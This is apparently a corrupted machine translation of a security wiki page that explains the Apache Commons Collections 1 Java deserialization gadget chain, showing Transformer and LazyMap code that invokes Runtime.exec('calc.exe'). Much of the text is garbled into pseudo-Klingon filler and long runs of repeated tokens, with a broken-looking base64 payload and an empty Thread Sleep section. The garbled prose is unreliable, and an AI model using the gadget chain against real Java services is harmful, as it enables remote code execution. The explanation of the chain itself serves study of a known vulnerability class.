# CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep

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</details>

## Java Transformers to Rutime exec()

In several places you can find a java deserialization payload that uses transformers from Apache common collections like the following one:
```java
import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1PayloadOnly {
public static void main(String... args) {
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), //(1)
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
), //(2)
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
), //(3)
new InvokerTransformer("exec",
new Class[]{String.class},
command
) //(4)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

//Execute gadgets
lazyMap.get("anything");
}
}
```
qaStaHvIS java deserialization payloads Daqaw'a' 'e' vItlhutlh. 'Ivqu' java **Transformer** **class** **ghItlh** 'ej **ghItlh** **'e'** **transform**.\
**Payload** **executed** **equivalent** **'e'** **interesting** **to know** **that**:

```java
import java.io.*;
import java.util.Base64;

public class Main {
    public static void main(String[] args) throws Exception {
        String payload = "rO0ABXNyAB5qYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvcmllcwEABmJpbmFyeVN0cmVhbXQAEkxqYXZhL2xhbmcvU3RyaW5nO0wABnJ1bGVzY2FwZXQAEkxqYXZhL2xhbmcvU3RyaW5nO0wAB3N0YWNrVHJhbnNwb3J0ABBMamF2YS91dGlsL1RocmVhZDt4cHNyACBqYXZhLnV0aWwuSGFzaE1hcJAAAAAAAAAABDAAVAAAAAAAAAAAAAAAAAAAAAAAMAAAAAAAAAAEAAAAAAAAAAQAAAAIAAAADAAAAAQAAABAAAAAIAAAABAAAAAQAAAAUAAAAGAAAAAQAAABwAAAABAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAAQAAABwAAAAHAAAAAgAAAAIAAAADAAAAAQAAABEAAAACAAAAAQAAABQAAAAFAAAAA
```java
Runtime.getRuntime().exec(new String[]{"calc.exe"});
```
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```java
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
```
### Qatlh

So, Qatlh je first payload presented equivalent to those "simple" one-liners?

**First** of all, Qatlh can notice in the payload that a **chain (array) of transforms are created**:
```java
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
//(1) - Get gadget Class (from Runtime class)
new ConstantTransformer(Runtime.class),

//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),

//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime oject
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),

//(4) - Use the Runtime object to call exec with arbitrary commands
new InvokerTransformer("exec",
new Class[]{String.class},
command
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
```
**qaStaHvIS:**
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```java
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
lazyMap.get("anything");
```
### Klingon Translation:

**payload**-Da jImej **Map** chelwI' jatlhlaH. SoH **decorate** DaH **LazyMap**-Daq **jImej** chelwI' je. **code**-Daq vItlhutlh **chained transformers** **lazyMap.factory**-Daq **nIvbogh**-lu'be'lu'chugh **jImej** chelwI' je. 

### Markdown Translation:

In the last section of the payload you can see that a **Map object is created**. Then, the function `decorate` is executed from `LazyMap` with the map object and the chained transformers. From the following code you can see that this will cause the **chained transformers** to be copied inside `lazyMap.factory` attribute.
```java
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}
```
jeH lazymap.get("pagh");
```java
public Object get(Object key) {
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
```
'ej vaj code 'oH `transform` DaH
```java
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
```
So, remember that inside **factory** we had saved **`chainedTransformer`** and inside of the **`transform`** function we are **going through all those transformers chained** and executing one after another. The funny thing, is that **each transformer is using `object`** **as input** and **object is the output from the last transformer executed**. Therefore, **all the transforms are chained executing the malicious payload**.

### Summary

At the end, due to how is lazyMap managing the chained transformers inside the get method, it's like if we were executing the following code:

### Klingon Translation

So, **factory** vItlhutlh **chainedTransformer** **jatlh** **'e'** **transform** **ghaH** **transformers chained** **ghaH** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **'ej** **
```java
Object value = "someting";

value = new ConstantTransformer(Runtime.class).transform(value); //(1)

value = new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", null}
).transform(value); //(2)

value = new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
).transform(value); //(3)

value = new InvokerTransformer("exec",
new Class[]{String.class},
command
).transform(value); //(4)
```
_Note how `value` is the input of each transform and the output of the previous transform, allowing the execution of a one-liner:_

---

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vItlhutlh vay' vItlhutlh transform'e' vItlhutlh, vItlhutlh vItlhutlh vay' vItlhutlh transform'e' vItlhutlh, vItlhutlh vItlhutlh vay' vItlhutlh transform'e' vItlhutlh, vItlhutlh vItlhutlh vay' vItlhutlh transform'e' vItlhutlh, vItlhutlh vItlhutlh vay' vItlhutlh transform'e' vItlhutlh, vItlhutlh vItlhutlh vay' vItlhutlh transform'e' vItlhutlh, vItlhutlh vItlhutlh vay' vItlhutlh transform'e' vItlhutlh, vItlhutlh vItlhutlh vay' vItlhutlh transform'e' vItlhutlh, vItlhutlh vItlhutlh vay' vItlhutlh transform'e' vItlhutlh,
```java
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
```
Qapla'! Qatlh **gadgets** vItlhutlh **ComonsCollections1** payload **jatlh**. 'ach **ghaH 'e' vItlhutlh** 'ej **ghaH vItlhutlh**. [**ysoserial** vItlhutlh** 'e'** (https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java), **payload** vItlhutlh** 'e'** 'ej **'e' vItlhutlh** `AnnotationInvocationHandler` **'oH** **'e' vItlhutlh**, 'oH **'e' vItlhutlh** **deserialized** **'e'** **'e'** `payload.get()` **vItlhutlh** **'e'** **'e'**.

## Java Thread Sleep

**web** **vulnerable** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** **'e'** 